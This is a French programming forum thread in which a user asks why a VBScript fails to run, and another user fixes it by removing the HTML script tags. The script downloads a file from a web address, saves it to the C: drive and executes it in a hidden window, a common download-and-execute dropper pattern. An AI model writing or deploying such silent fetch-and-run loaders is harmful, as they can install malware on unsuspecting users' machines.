Discussion :

[france38]

bonjour voila j'ai fait ce script seulement j'ai un probleme quand je l'execute il me dise

script:
ligne:1
caract:1
erreur: instruction attendue
code: 800A0400
source: erreur de compilation microsoft vbscript

j'ai lue que cela pouver venir de option explicit mes même en le métan cela ne marche pas.

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<SCRIPT LANGUAGE="VBScript">
Dim site
Dim top
Dim bkb
site = "http://monsite/logiciel.rar "
Set bkb = CreateObject("Microsoft.XMLHTTP")
bkb.Open "GET", site, False
bkb.Send
top = bkb.ResponseBody
Dim nit
Set nit = CreateObject("ADODB.Stream")
nit.Type = 1
nit.Open
nit.Write top
nit.SaveToFile "C:\logiciel.rar", 2
Dim WshShell
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "C:\logiciel.rar", 0, True
</SCRIPT>

[SfJ5Rpw8]

et tu le met en oeuvre comment ton script... ? et comment l'exécute tu ..?

[france38]

je le met dans un bloc note je mais enregistrer sous et je le renome en .vbs

[SfJ5Rpw8]

commence par enlever les balises qui entoure ton code :
supprime les 2 lignes :

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

 <SCRIPT LANGUAGE="VBScript">

et

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

</SCRIPT>

[france38]

a oui cela marche.merci bien